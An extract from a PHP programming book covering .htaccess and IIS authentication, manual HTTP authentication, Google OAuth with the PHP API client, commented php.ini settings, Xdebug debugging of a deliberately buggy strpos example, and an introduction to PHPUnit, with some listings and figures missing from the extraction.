authentication is also used from time to time, but it does not work in older versions
of Internet Explorer. Basic authentication is sent unencrypted over the network,
while digest authentication uses encryption:
AuthType Basic
AuthBasicProvider file
Note
The order of the entries in .htaccess is not prescribed.
require valid-user
It states what must occur for authentication to take place. With valid-user, each user
must enter the correct user name and password. Figure 33.2 shows the input mask
for the user.
10. Now change the AllowOverride setting in the httpd.conf Apache configuration file
for the root directory or your application directory from
AllowOverride None
to
AllowOverride AuthConfig.
Now there are a few more setting options. Instead of allowing access for all users with
require valid-user, you can also restrict access to some users:
Note
Attention: The other HTTP verbs are not blocked in this case, but enabled! Alternatively,
you can also use <LimitExcept>, in which case access control is performed on all meth-
ods with the exception of those listed.
In addition to user administration, you can also create groups. This requires the follow-
ing:
1. In the .htaccess (or ht.access) file, you add the specification of a corresponding file:
AuthGroupFile Path/.htgroup
2. Then create this file in the text editor. It contains the group name followed by a
colon. This is followed by all the user names that belong to this group. Attention, the
users must of course exist with a password in the normal user file (here, .htpasswd)!
Note
A line with the participants of a group may be a maximum of 8 KB in size. However, you
can easily continue in the next line with the same user name:
staff: many
staff: even_more
3. Now back to .htaccess (ht.access). Enter one (or more) groups there:
Incidentally, you can still name individual users despite the group—for example:
Note
If you have a large number of passwords, it no longer makes sense to manage them in a
text file. You can then use Apache modules to store the user name and password in a
database. The best-known alternative is mod_auth_dbm for storing in a DBM database.
Note
One method that is used in library systems, for example, is IP identification. Only a pre-
viously defined IP range is permitted on the user's own pages. This authentication can
be implemented with or without password identification. However, it never makes any
sense where there are users with flexible IP addresses. This is the case, for example,
with most internet service providers. In addition, a professor, for example, can only
view his books if he is currently within the university network. If he is at a conference,
then this system is useless for him.
To use the standard authentication in IIS, the following steps are necessary:
1. First of all you need the basic authentication activated. Go to Turn Windows features
on or off. You can find it in the Control Panel 폷 Programs and Features.
2. Go to World Wide Web Services 폷 Security and activate Basic Authentication.
3. Open Internet Information Services (IIS) Manager. You can find it in the Control
Panel.
4. In the Connections pane, expand the server name, expand Sites, and then click the
site for which you want to enable basic authentication.
5. Click on Authentication and enable Basic Authentication.
6. As next step Anonymous Authentication has to be disabled.
You can now add users or user groups as needed for this directory. In the configuration
the <basicAuthentication> is now available. To use digest authentication, you must
switch to a user account and select reversible encryption for one of the users there.
Note
Caution: In some configurations, especially in connection with IIS, the preceding lines
do not work! In this case, a slightly modified HTTP header often helps:
header("WWW-Authenticate: Basic realm=\"Application XY PHP\"");
header("Status: 401 Unauthorized");
The query appears (see Figure 33.4), but of course there is still no password check. You
have access to the user name and password via the $_SERVER environment variable
and then with $_SERVER["PHP_AUTH_USER"] and $_SERVER["PHP_AUTH_PW"]. This allows a
password check to be implemented very quickly. The following listing shows a simple
script; Figure 33.5 shows the output.
<?php
if (isset($_SERVER["PHP_AUTH_USER"]) &&
$_SERVER["PHP_AUTH_USER"] == "test" &&
$_SERVER["PHP_AUTH_PW"] == "secure") {
echo "Authentication worked, welcome! ";
echo $_SERVER["PHP_AUTH_USER"];
} else {
header("WWW-Authenticate: Basic realm=\"Application XY PHP\"");
header("HTTP/1.0 401 Unauthorized");
}
?>
Checking with a simple if statement for just one user name is the simplest variant.
However, you can also write your own authentication class, add a database behind it,
and so on. The principle does not change.
Note
When testing, you must bear in mind that the browser supplies the user name and
password from the first entry each time the page is called up until it is closed. To test a
variant, you must therefore either close the browser or simply change the required
password. In the latter case, "not authenticated" is returned as the old browser pass-
word is no longer correct, and the user can reenter it.
With IIS, difficulties may arise with this authentication. It is important that you have
switched off the integrated Windows authentication as this is always preferred to stan-
dard authentication (including manual HTTP authentication). If you do not do this, you
will be constantly asked for your user name and password even though you have
entered them correctly. Anonymous access is the only option that does not interfere as
it is subordinate.
Some special features and problems are repeatedly reported for the IIS. Here are the
most important points that you should be aware of in the event of problems:
쐍 There are problems with the $_SERVER environment variable. Instead of $_SERVER[
"PHP_AUTH_USER"] and $_SERVER["PHP_AUTH_PW"], only $_SERVER["HTTP_AUTHORIZA-
TION"] is returned for some IIS/PHP combinations, which then contains the user
name and password. You can filter out both with the following construct:
쐍 You split the decoded string at the colons. The string only starts from the sixth char-
acter, as the first five contain the authentication method—that is, Basic.
쐍 There is also sometimes a hint to install the PHP ISAPI module as a filter in the IIS
(Website 폷 Properties 폷 ISAPI Filter).
these applications require a user login. So what could be more obvious than outsourc-
ing user authentication to a separate service, often called an identity provider?
Note
Using the same login for several applications is often called single sign-on (SSO). It is
important to note here: It is only a "real" single sign-on if the user does not have to log
in multiple times when switching between applications.
Apart from the authentication of real users, the exchange of data via programming
interfaces, APIs, also requires authentication and authorization options. Let's take a
look at some of the most important standards:
쐍 OAuth 2.0 (http://s-prs.co/v602292) is the basic standard for authentication and
authorization. Originally developed for the authentication of API clients, it is now
also used in conjunction with OIDC for the authentication of users.
쐍 OpenID Connect (OIDC; http://s-prs.co/v602293) regulates the structure and exchange
of identity data. The data exchange is based on the REST principle with JSON as the
data format. Figuratively speaking, OIDC is based on OAuth.
쐍 JSON Web Token (JWT; http://s-prs.co/v602294) defines the structure of how tokens
can be defined for OAuth.
쐍 Security Assertion Markup Language (SAML; http://s-prs.co/v602249) is an XML-
based standard that defines the structure of authentication and authorization data.
For our example, we use OAuth-based authentication for the Google APIs. Internally,
Google uses its own user authentication.
Note
If you don't want to just dock into a standards-based identity provider but want to set
up your own identity provider, you can also find a number of solutions in the PHP
world. However, many of these are part of certain PHP frameworks. A stand-alone solu-
tion for OIDC is phpOIDC (http://s-prs.co/v602250). A good overview of OAuth servers
can be found at https://oauth.net/code/php.
Create Project
The basis of every API query at Google is an API project that you create in the Cloud Con-
sole: https://console.cloud.google.com. The only thing you need is a Google account. As
long as you only use the project for test purposes, everything remains free of charge.
You can create a total of twelve such projects at no extra charge.
In the next step, give the project a name. If you are already using a Google organization,
you can also assign the project to this organization, but it isn’t necessary here.
Create Credentials
As soon as the project has been created, you can access it at any time in the cloud plat-
form header. In the next step, we need a few security-relevant login details for API
access. You can find them in the menu under APIs & Services 폷 Login Data.
Let's take a closer look. We'll start with the API key, which is the basis for access and
allows Google to assign API queries to your account (and also to charge for them in the
case of commercial use). You can also use it to restrict API access for security reasons.
This makes sense for server-side queries such as this one, for example, as it only allows
access from the IP address or IP addresses of your own server.
However, the API key does not yet have anything directly to do with authentication. To
do this, you create so-called OAuth client IDs. Google expects such a client ID for every
application or mobile app with which you want to access the API. For our example, we
select web application for the application type, as we want to access the application via
the web using PHP.
An OAuth client ID consists of several components: first, the client ID itself, and sec-
ond, a client key or client secret. We need these two pieces of data in our PHP applica-
tion in order to later access the API in our project, the one for Google Drive, via OAuth.
To use them, Google offers a convenient function: As soon as you have created the cli-
ent ID, a Download icon appears in the Credentials view. The download provides a fin-
ished JSON file with the data relevant to the project and application:
{ "web":
{
"client_id": "xyz.apps.googleusercontent.com",
"project_id": "rheinwerk-php",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/
certs",
"client_secret": "xyz"
}
}
By default, the JSON file uses the client ID as its name. For the sake of simplicity, we
rename it to client_secrets.json.
Note
Another security function is hidden behind the Authorized Redirect URIs setting in the
OAuth client ID. Here you should enter all addresses to which Google should redirect
after authorization by the user. In our case, for example, this would be the local address:
http://localhost/php/oauth2callback.php. If you overlook this, you will receive a corre-
sponding error message when testing with a user during redirection.
Google as your company's internal platform. External is the right choice for our exam-
ple. So long as you only want to test, you must then specify the users individually in the
third step. When your project is ready to go live later, it will go through an approval pro-
cess from Google.
Figure 33.9 The Setup of the Consent Screen Also Regulates Which Users Use the Application
You can keep the basic application information such as name, support email, and vari-
ous important links very short in the test case, or simply leave them blank except for
the mandatory fields (indicated by an asterisk).
The areas are basically authorizations for certain user profile data, such as the email
address in the case of .../auth/userinfo.email.
Now the test users are still missing. In the simplest case, use the same Google account
that you used to create the project.
Activate APIs
Finally, you must now activate the Google Drive API. To do this, find the Enable APIs &
Services button under APIs & Services. It leads to a search area in which you can search
for any API and then activate it. In our case, we are looking for Google Drive.
Figure 33.10 Add at Least One Test User—Probably Your Own Google Account
Installation
The client is already designed for PHP 8. The installation can also be carried out simply
via Composer in the current version:
Or in composer.json:
{
"require": {
"google/apiclient": "^2.18"
}
}
However, be careful: As so many APIs are supported, the installation takes a little time,
and a lot of API classes end up on the server. Google allows only the relevant APIs to be
set up via a Composer cleanup. Here is an example with Google Drive only:
{
"require": {
"google/apiclient": "^2.18"
},
"scripts": {
"post-update-cmd": "Google\\Task\\Composer::cleanup"
},
"extra": {
"google/apiclient-services": [
"Drive"
]
}
}
The Procedure
This example consists of two documents:
쐍 google_oauth2_drive.php contains the actual access to the Drive API, but redirects to
oauth2callback.php for authentication.
쐍 oauth2callback.php authenticates itself with Google's OAuth identity provider and
receives a code for this in the code URL parameter. The file then retrieves an access
token from Google and returns this to google_oauth2_drive.php. With this token,
google_oauth2_drive.php can then access the Drive service.
If everything works and the user authenticates correctly and authorizes our applica-
tion, then the process looks like this in chronological order from top to bottom:
google_oauth2_drive.php
-> oauth2callback.php
-> <url target="https://accounts.google.com/o/oauth2/auth">
https://accounts.google.com/o/oauth2/auth</url>
<- receives parameter "code"
-> Authenticates with "code" & gets access token from Google
<- receives access token
-> Access to the Google Drive service via access token
"google_oauth2_drive.php"
Now let's take a closer look at the code. In the first step, we get the Google API client via
Composer:
require_once 'vendor/autoload.php';
The script then starts a session so that the access token supplied by Google can later be
saved across scripts:
session_start();
We then initialize the Google API client. It receives its basic data from the client_
secrets.json file:
Now each Google API that is to be used must be added. Here, this is only Google Drive:
$client->addScope(Google_Service_Drive::DRIVE_METADATA_READONLY);
The central element is a case distinction that checks whether an access token already
exists. It may not yet exist when the user makes the first call. Therefore, in the else
case, the user is redirected to oauth2callback.php, where the actual authentication with
Google's OAuth identity provider takes place:
if (isset($_SESSION['access_token'])) {
//access to the service
} else {
$redirect_uri = 'http://localhost/php/oauth2callback.php';
header('Location: ' . filter_var($redirect_uri, FILTER_SANITIZE_URL));
}
Last but not least, the if case: In this case, there is already an access token, so our appli-
cation has permission to access the Google Drive service. For this, simply initialize a
new object for the Drive API:
$client->setAccessToken($_SESSION['access_token']);
$drive = new Google_Service_Drive($client);
The file information is then accessed via the files collection using the Nullsafe opera-
tor. This is followed by a simple output:
$files = $drive?->files?->listFiles()?->getFiles();
foreach ($files as $file) {
echo $file->getName();
echo '<br />';
echo $file->getMimeType();
echo '<br /><br />';
}
<?php
require_once 'vendor/autoload.php';
session_start();
if (isset($_SESSION['access_token'])) {
$client->setAccessToken($_SESSION['access_token']);
$drive = new Google_Service_Drive($client);
$files = $drive?->files?->listFiles()?->getFiles();
?>
Figure 33.13 After the Forwarding Steps, The Script Reads the Files on Google Drive
"oauth2callback.php"
The first part of oauth2callback.php corresponds to google_oauth2_drive.php. After
loading the Google API client, we start the session and initialize the client.
This is followed by the decisive case differentiation. If Google has already correctly
authenticated and authorized our application, then Google would return a code URL
parameter:
if (!isset($_GET['code'])) {
// Not authenticated
} else {
// Authenticated -> back to google_oauth2_drive.php
}
If this parameter is not present, we generate the authorization URL and redirect to this
Google URL:
$auth_url = $client->createAuthUrl();
header('Location: ' . filter_var($auth_url, FILTER_SANITIZE_URL));
The Google API client uses the URL specified in client_secrets.json as the basis here.
Now in the second case, the code parameter is set. In this case, we save the access token
returned by the client in a session variable:
$client->authenticate($_GET['code']);
$_SESSION['access_token'] = $client->getAccessToken();
$redirect_uri = 'http://localhost/php/google_oauth2_drive.php';
header('Location: ' . filter_var($redirect_uri, FILTER_SANITIZE_URL));
<?php
require_once 'vendor/autoload.php';
session_start();
33.5 Conclusion
The most important factors when choosing an authentication method are security,
performance, and ease of use. All the solutions outlined must be measured against
these:
쐍 HTTP authentication with .htaccess in Apache is very easy to use if the number of
users is not too large. It is secure if SSL is used for basic authentication or if digest
authentication is used straight away. In the latter case, however, browsers are
excluded, which is rarely what the inventor intended. The performance is okay; SSL
or digest authentication makes the whole thing a little slower.
쐍 The main negative aspect of IIS-based authentication is the cumbersome adminis-
tration via user accounts. It is hardly ever used in practice.
쐍 Manual HTTP authentication is much more flexible than web server authentication.
For example, the entire directory does not have to be backed up. A database solution
also fits better into the PHP application. When transferring without SSL (digest is not
possible), as with all HTTP authentication variants, there is the problem that the user
name and password are not protected during transfer.
쐍 Authentication via sessions is the most flexible solution for a self-contained web
application. For example, a complete rights system can be implemented on this
basis. This is why it is used by most PHP-based applications, such as content man-
agement systems, stores, and more. However, it has the disadvantage that you must
either use cookies or protect your URLs. PHP frameworks with their authentication
modules are helpful here.
The php.ini file is the central point of contact when it comes to configuring PHP. In this
chapter, we will go through the standard php.ini file and briefly comment on the key
points. We also look at where further configuration options are conceivable.
Note
In Chapter 2, you have already seen which variants of php.ini are supplied with PHP and
where you have to adapt these files to get PHP running.
Placing php.ini in the PHP directory certainly has its advantages. Imagine you want to
alternate between several PHP versions on one machine. For example, you prefer to
program with PHP 8.3 but would like to carry out compatibility tests with PHP 8.2 from
time to time. The following configuration steps for Windows will help you to achieve
this as conveniently as possible:
1. Configure your web server so that it expects the PHP interpreter as C:\php\php.exe
(FastCGI mode).
2. Install PHP 8.2 in C:\php82 and PHP 8.3 in C:\php83.
3. Place customized versions of php.ini in each of the two folders created (pay attention
to configuration options that have been removed, for example).
4. Rename the folder of the PHP version you want to use to C:\php. You may need to
stop and restart the web server in the meantime.
With these steps, the "installation" of a PHP version (or the change to it) is reduced to
the simple renaming of a folder. This works in exactly the same way under other oper-
ating systems.
Note
Little known, but very practical: You can also place the php.ini file in any directory
under Windows and then set the PHPRC environment variable to the folder in which the
php.ini is located. We described this variant in Chapter 2.
You can also create a separate configuration file for the CLI variant: php-cli.ini. If you
also use PHP as a CGI module, you can also specify specific configuration settings in a
file called php-cgi.ini.
If you want to use both the CLI version and the CGI version of PHP, you can use a sepa-
rate, specific INI file for each:
쐍 php-cgi.ini for the CGI variant
쐍 php-cli.ini for the CLI version
php_flag short_open_tag On
쐍 The complete Apache configuration can be found in the httpd.conf file; there you
can set, for example, which file extensions are handled by which modules and which
MIME types they have. It is also possible to set certain PHP settings there. The php_
value and php_flag directives known from .htaccess are also available, as well as the
following two variants:
– php_admin_value option value
– php_admin_flag option value
The advantage of these two directives is that they cannot be overwritten by .htac-
cess.
쐍 Last but not least, you can set configuration values on a script basis. The associated
function is called ini_set():
<?php
ini_set("include_path", ".:/my/pear/path");
?>
So there are many possibilities, but unfortunately not every possibility is always a via-
ble option. This is understandable because it would be fatal, for example, if a script
could change the auto_prepend_file option via ini_set(), as auto_prepend_file
becomes active before a PHP script is executed. This is why there are four categories for
configuration options, which you can find in Table 34.1.
PHP_INI_USER 1 ini_set()
There are also a few options that can only be set in php.ini, such as disable_classes and
disable_functions.
You can find a (mostly) up-to-date overview of the categories of the main configuration
options in two places:
쐍 On the page in the PHP online manual for the respective module to which the con-
figuration option belongs
쐍 Centrally in the corresponding section of the manual page (http://s-prs.co/v602295;
see Figure 34.1)
Note
We use the php.ini-production file directly from the PHP version management system
at http://s-prs.co/v602252 (as of December 2024; see Figure 34.2). We have changed,
modified, or completely omitted some settings.
Figure 34.2 The Latest File Versions Are Always Available on GitHub
The first major section is called Language Options and contains general settings relating
to the PHP installation—for example, the compatibility mode for Zend Engine 1 or the
use of the short PHP tag (<?):
;;;;;;;;;;;;;;;;;;;;
; Language Options ;
;;;;;;;;;;;;;;;;;;;;
; Activate PHP for Apache
engine = On
; activate <?
short_open_tag = Off
; Precision of decimal numbers (decimal places)
precision = 14
The output of the resulting PHP code can be both buffered and automatically com-
pressed:
Despite the now abolished (and never sufficient anyway) safe mode, there are certain
protection mechanisms for PHP installations:
The Resource Limits section contains some restrictions on the resources PHP is
allowed to use, including timeout and memory limits:
;;;;;;;;;;;;;;;;;;;
; Resource Limits ;
;;;;;;;;;;;;;;;;;;;
max_execution_time = 30 ; Maximum script runtime
max_input_time = 60 ; Maximum time for parsing the input
max_input_nesting_level = 64 ; Maximum nesting depth
; in the input ;
max_input_vars = 1000 ; Maximum number of input variables
;max_multipart_body_parts = 1500 ; Maximum parts for multipart requests
memory_limit = 128M ; Maximum memory consumption
When errors occur, there are several ways to react. Among other things, PHP offers log-
ging of errors (with Apache) and the option of not sending an error message to the web
browser. The latter is unfavorable during development and testing but is extremely
useful on the production server:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Error handling and logging ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Stufen für error_reporting:
; E_ALL - All errors and warnings
; E_ERROR - (Fatal) runtime errors
; E_RECOVERABLE_ERROR - Almost fatal runtime errors
; E_WARNING - Non-fatal runtime errors
; E_PARSE - Parser errors
; E_NOTICE - Run-time notices
; E_CORE_ERROR - errors when starting PHP ;
; E_CORE_WARNING - warnings when starting PHP ;
; E_COMPILE_ERROR - errors when compiling ;
; E_COMPILE_WARNING - warnings when compiling
; E_USER_ERROR - user-specific error messages
; E_USER_WARNING - user-specific warnings
;
E_USER_NOTICE - User-specific notices ;
E_DEPRECATED - Warnings for code that will no longer work in future
; PHP versions ;
E_USER_DEPRECATED - User-specific warnings for obsolete code
;
; Examples:
;
; - Everything except warnings and compatibility notes
;
; error_reporting = E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED
;
Probably the most important task of PHP is the processing of user data. There is a whole
host of configuration switches for this under Data Handling:
;;;;;;;;;;;;;;;;;
; Data Handling ;
;;;;;;;;;;;;;;;;;
;
; Separator for parameters in URLs generated by PHP
;arg_separator.output = "&"
; Parameter separator for PHP when parsing URLs
;arg_separator.input = ";&"
; Order in which PHP environment, GET, POST, cookie,
; server and custom variables are registered
variables_order = "GPCS"
; Order in which PHP environment, GET, POST, cookie, server and custom
; variables are registered in $_REQUEST
request_order = "GP"
; Specifies whether GET variables should be saved in argv and argc (only
possible if auto_globals_jit is not activated)
register_argc_argv = Off
; Specifies whether environment, server and request variables should only be
created on first use
auto_globals_jit = On
; Maximum size of POST data (there is a separate setting for uploads!)
post_max_size = 8M
; Append/execute a file before/after each PHP script
auto_prepend_file =
auto_append_file =
; Value for the Content-Type HTTP header
default_mimetype = "text/html"
; Character set for the HTTP header
default_charset = "UTF-8"
PHP does not offer integrated project management, so in the sense of a modular appli-
cation, a lot of work is done with external files. The Paths and Directories section con-
tains settings that specify where these files are located, among other things:
;;;;;;;;;;;;;;;;;;;;;;;;;
; Paths and Directories ;
;;;;;;;;;;;;;;;;;;;;;;;;;
; Path in which included files are searched for via include/include_once/
require/require_once
; UNIX: "/path1:/path2"
;include_path = ".:/php/includes"
;
; Windows: "\path1;\path2"
;include_path = ".;c:\php\includes"
; Root directory for PHP scripts
doc_root =
; The directory under which PHP opens a script
user_dir =
; Directory in which the extension modules are located (everything except
Windows)
; extension_dir = "./"
; Directory in which the extension modules are located (Windows variant)
; extension_dir = "ext"
; Additional security for the CGI mode.
; Must be set to 0 for the IIS! ;
cgi.force_redirect = 1
; Specifies whether PHP should send the HTTP status code 200 with every request
;
cgi.nph = 1
; Environment variable that PHP looks for if
; cgi.force_redirect is activated ;
cgi.redirect_status_env = ;
; Adjust CGI path information according to specification
; cgi.fix_pathinfo = 1;
; CGI binary can be located outside the folder of the web application
; cgi.discard_path = 1;
; Enables impersonation under IIS
; fastcgi.impersonate = 1;
; Disables logging with FastCGI
; fastcgi.logging = 0;
; Type of HTTP headers sent by PHP.
; 0 = Apache-compatible (default),
; 1 = RFC262-compatible
;cgi.rfc2616_headers = 0
;;;;;;;;;;;;;;;;
; File Uploads ;
;;;;;;;;;;;;;;;;
; Activate file uploads
file_uploads = On
; Temporary directory
;upload_tmp_dir =
; Maximum size for file uploads
upload_max_filesize = 2M
; Maximum number of file uploads per request
max_file_uploads = 20
One of the most practical features of PHP is that file operations can also work with
HTTP and FTP URLs. This behavior can be controlled under Fopen wrappers:
;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;
; Specifies whether URLs may be treated as files
allow_url_fopen = On
; Specifies whether external files may be executed via URL wrappers
; (deprecated since PHP 7.4.0, so there would be a warning when switching on)
allow_url_include = Off
; Password for anonymous FTP access
;from="[email protected]"
; User agent when using file operations with URLs
;user_agent="PHP"
; Timeout for socket connections (in seconds)
default_socket_timeout = 60
; Automatically detect line endings (especially relevant for Mac)
;auto_detect_line_endings = Off
Finally, let's take a look at the area in which the dynamic extension modules of PHP
(such as the PDF libraries) can be loaded:
;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
;
;extension=bz2
;extension=ldap
;extension=curl
...
To do this, simply remove the semicolon before extension= or add a corresponding line
yourself. If the CLI version of PHP is to be executed, it is also important to set extension_
dir correctly so that the extensions can also be found. The extension=bz statement, if
not commented out, would load the php_bz.dll or php_bz.so extension accordingly.
Some of the extensions require further libraries, and in particular numerous database
extensions (see the explanations in the individual chapters in Part IV).
The rest of the php.ini settings are module-specific configuration options, for which we
refer you to the respective chapters. Only the [Date] section is worth mentioning; here
you can enter the default time zone to be used by PHP:
;;;;;;;;;;;;;;;;;;;
; Module Settings ;
;;;;;;;;;;;;;;;;;;;
[Date]
; Default timezone
;date.timezone =
A possible value for the time zone would be "Europe/Berlin"; a complete list can be
found at http://php.net/manual/timezones.php.
This chapter has taken a brief look at the php.ini file and also presented various ways of
changing the associated options. It is very easy to lose track of all the settings, but in
practice there are always only a few settings that need to be modified (e.g., extension_
dir). On the other hand, you will always find useful or performance-optimizing
options, so it is worth taking a look at php.ini from time to time.
The examples in this book all have one thing in common: They work (at least in our
tests). However, the code does not always fall from the sky but is sometimes the result
of several attempts and trials. On the way to achieving it, we repeatedly encountered
errors that we then had to rectify. Some of the techniques for this are briefly described
in this chapter.
What we do not do at this point is to detect parser errors and fix them. With such errors,
the source code is syntactically incorrect; perhaps a bracket or a quotation mark is
missing, for example. However, PHP always indicates the line in which the error
occurred, which could give a good indication of what the problem is or where to look. If
you use a (good) editor, it will warn you of errors as you type.
Tip
One more tip: The line number in the error message (see Figure 35.1) is sometimes one
line too high. The reason: In PHP, you can split statements over several lines; they are
usually only terminated by a semicolon. If PHP does not find the semicolon, the PHP
interpreter only notices this in the following line.
1 Debugging means removing bugs; in the past, insects in mainframe computers were often respon-
sible for inexplicable errors.
(Chapter 10). This script is about filtering out all URLs from a text file. The approach is
as follows:
쐍 The file is read in line by line.
쐍 Each line is checked to see whether it contains the character string http://.
쐍 If yes, the system searches for the end of the URL (after a space or a closing bracket ).2
쐍 All URLs found are displayed.
<?php
$url = [];
$file = fopen("text.txt", "r");
while (!feof($file)) {
$line = fgets($file, 1024);
if ($start = strpos($line, "http://")) {
$end1 = strpos($line, ")", $start+1);
$end2 = strpos($line, " ", $start+1);
if ($end1 == -1 && $end2 == -1) {
$end = strlen($line);
} elseif ($end1 == -1) {
$end = $end2;
} elseif ($end2 == -1) {
$end = $end1;
} else {
$end = min($end1, $end2);
}
$url[] = substr($line, $start, $end - $start);
}
}
fclose($file);
echo implode("<br />", $url);
?>
Of course, you also need the text.txt input file, shown in the next listing.
2 This is a really bad algorithm. For example, closing brackets are also allowed in URLs. Nevertheless,
this test proves to be relatively effective. Or to put it another way: This is not the main flaw in the
code.
http://www.php.net/downloads.php.
Mac owners can find a binary distribution as a homebrew at http://
formulae.brew.sh/formula/php.
When you execute the listing, URLs are determined—but not all of them (see Figure 35.2).
A look at the source code also shows that a line break has been inserted after http://
php.net, so there is a second, empty URL. There is therefore (at least) one error that should
be found.
<?php
$url = array();
$file = fopen("text.txt", "r");
$line_no = 0;
while (!feof($file)) {
$line_no++;
$line = fgets($file, 1024);
if ($start = strpos($line, "http://")) {
echo "Found what you were looking for in line $line_no.<br />";
$end1 = strpos($line, ")", $start+1);
$end2 = strpos($line, " ", $start+1);
if ($end1 == -1 && $end2 == -1) {
$end = strlen($line);
} elseif ($end1 == -1) {
$end = $end2;
Figure 35.3 P Only Found What It Was Looking for in Two Lines
Figure 35.3 shows the result: PHP has only found a URL in lines 1 and 5, but not in line 3.
Somehow there seems to be trouble with this line. One approach could be to also out-
put the value of the $start variable in the else branch—but this time with var_dump()
and not with echo!
echo "Did not find what you were looking for in line $line_no: ";
var_dump($start);
echo "<br />";
The difference between var_dump() and conventional functions for text output is that
var_dump() also outputs the data type. Figure 35.4 shows the result. You can see a special
feature in line 3 and may also have an idea of the reason for this.
In the long run, however, such a search is very cumbersome—and embarrassing if you
forget to remove the debug code again before you put a site online. You should there-
fore look for alternatives.
zend_extension=C:/path/to/php_xdebug-3.4.0-8.3-vs16-nts-x86_64.dll
Note
As shown, you may have to enter the complete absolute path to the extension module
because the value of extension_dir is not used in zend_extension with some PHP ver-
sions.
If you want to (or have to) compile the source code by hand, unpack the source archive
from the Xdebug homepage and follow the usual steps:
phpize
./configure --enable-xdebug
make
You will receive a library file called xdebug.so, which you copy into the PHP extension
directory. Then edit php.ini. The next part depends on which web server you are using:
쐍 If you are using Apache 2 and PHP as a module, you must use the thread-safe exten-
sion:
zend_extension_ts=/path/to/xdebug-3.4.0-8.3.so
쐍 However, if you are still using Apache 1 or PHP as a CGI module, you do not need
thread security:
zend_extension=/path/to/xdebug-3.4.0-8.3.so
Tip
Because Xdebug has now arrived in PECL, the following also works (on a correctly set
up system):
pecl install xdebug
However, you will still need to take a look at php.ini.
Alternatively, you can enter the output of a phpinfo() call on your system at https://
xdebug.org/wizard.php. You will then receive system-specific installation instructions.
After installation, the obligatory check with phpinfo() follows: Xdebug registers itself
in the info output of PHP. In addition to the output shown in Figure 35.5, you will find
the tool in the info box labeled This program makes use of the Zend Scripting Language
Engine.
Now only the following additional settings are missing in php.ini (the port number is
also often 9000; take a look at the port to which the listener listens [see Figure 35.7]):
xdebug.mode = debug
xdebug.client_port = 9003
You can also find a client program on the Xdebug homepage that establishes the con-
nection to the debugger on the web server. There are downloads for Linux, macOS, and
Windows at https://xdebug.org/download#dbgpClient. When you start the application,
a listener is activated that waits for incoming connections from the debugger. All you
have to do now is call a PHP script and append ?XDEBUG_SESSION_START=<name> to the
URL. PHP will now send a cookie with the specified name as the value (see Figure 35.6).
This is the signal for the listener to become active (see Figure 35.7). The run command,
for example, would simply execute the script; further information on available com-
mands can be found at https://xdebug.org/docs/dbgpClient.
The debugger is also integrated into some editors. If you activate debugging there in
the options (see Figure 35.8) and call up a page in the web browser as shown, the system
automatically jumps to the editor, where the usual debugging options are available.
Another useful option is the integrated profiling. This requires two additional php.ini
configuration settings:
xdebug.mode = profile
xdebug.output_dir = /tmp
Xdebug now stores profiling data in the specified directory. However, these cannot be
decrypted directly. You need special software for this, for instance, KCachegrind or
QCachegrind (see Figure 35.9). This allows you to visualize the profiler data.
Xdebug is constantly being developed further; the author of the software also gives
regular presentations on the subject, which can be found at http://s-prs.co/v602254.
Tip
The KCachegrind package also contains a Perl script that can convert the data into
ASCII format. You can then also use other software for further processing.
35.3 Resolution
So where is the error in the debugger.php file? Figure 35.4 already showed a good hint:
In the third line, the $start variable does not have the Boolean value false (as in lines
2, 4, and 6), but the integer value 0. This already solves the puzzle: The character count
in strpos() starts at 0. So if a line starts with http://, then strpos($line, "http://") has
the return value 0. As a Boolean term, however, 0 corresponds to false. if (0) is there-
fore equivalent to if (false), so the if branch is not executed. However, if you use the
=== or !== operator, you will achieve the desired goal as this takes the data type into
account and therefore distinguishes between the Boolean false and the integer zero.
So that this is not too noticeable, we have pretended in the if queries that strpos()
returns the value -1 if a substring is not present, but this is not the case. So all queries
of the type ($variable == -1) must also be replaced by ($variable === false).
Listing 35.4 shows the corrected version of the debugger script, and Figure 35.10 shows
the output.
<?php
$url = [];
$file = fopen("text.txt", "r");
while (!feof($file)) {
$line = fgets($file, 1024);
if (($start = strpos($line, "http://")) !== false) {
$end1 = strpos($line, ")", $start+1);
$end2 = strpos($line, " ", $start+1);
if ($end1 === false && $end2 === false) {
$end = strlen($line);
} elseif ($end1 === false) {
$end = $end2;
} elseif ($end2 === false) {
$end = $end1;
} else {
$end = min($end1, $end2);
}
$url[] = substr($line, $start, $end - $start);
}
}
fclose($file);
echo implode("<br />", $url);
?>
There are numerous approaches to this in the software development process. Because
this book is generally about PHP itself and we are relatively cautious about external
frameworks (because of backward compatibility, personal preferences in development,
and their sometimes faster quantum leaps in contrast to the PHP project), we refrain
from this discussion.
However, we would like to briefly introduce a project that has become the de facto stan-
dard in PHP: PHPUnit by Sebastian Bergmann. The framework has been around since
2004. It was originally created as a port of the Java framework JUnit but has been inde-
pendent for a long time. The project's homepage is https://phpunit.de, and the source
code is available on GitHub at http://s-prs.co/v602255.
Note
You need the mbstring PHP extension for the latest PHPUnit versions, which you install
as usual via the php.ini file.
Alternatively, you can also download a PHAR package from PHPUnit. The URL for the lat-
est minor version of a major version number is https://phar.phpunit.de/phpunit-X.phar,
where X has the value 10, for example. Here, we assume that you then save this archive
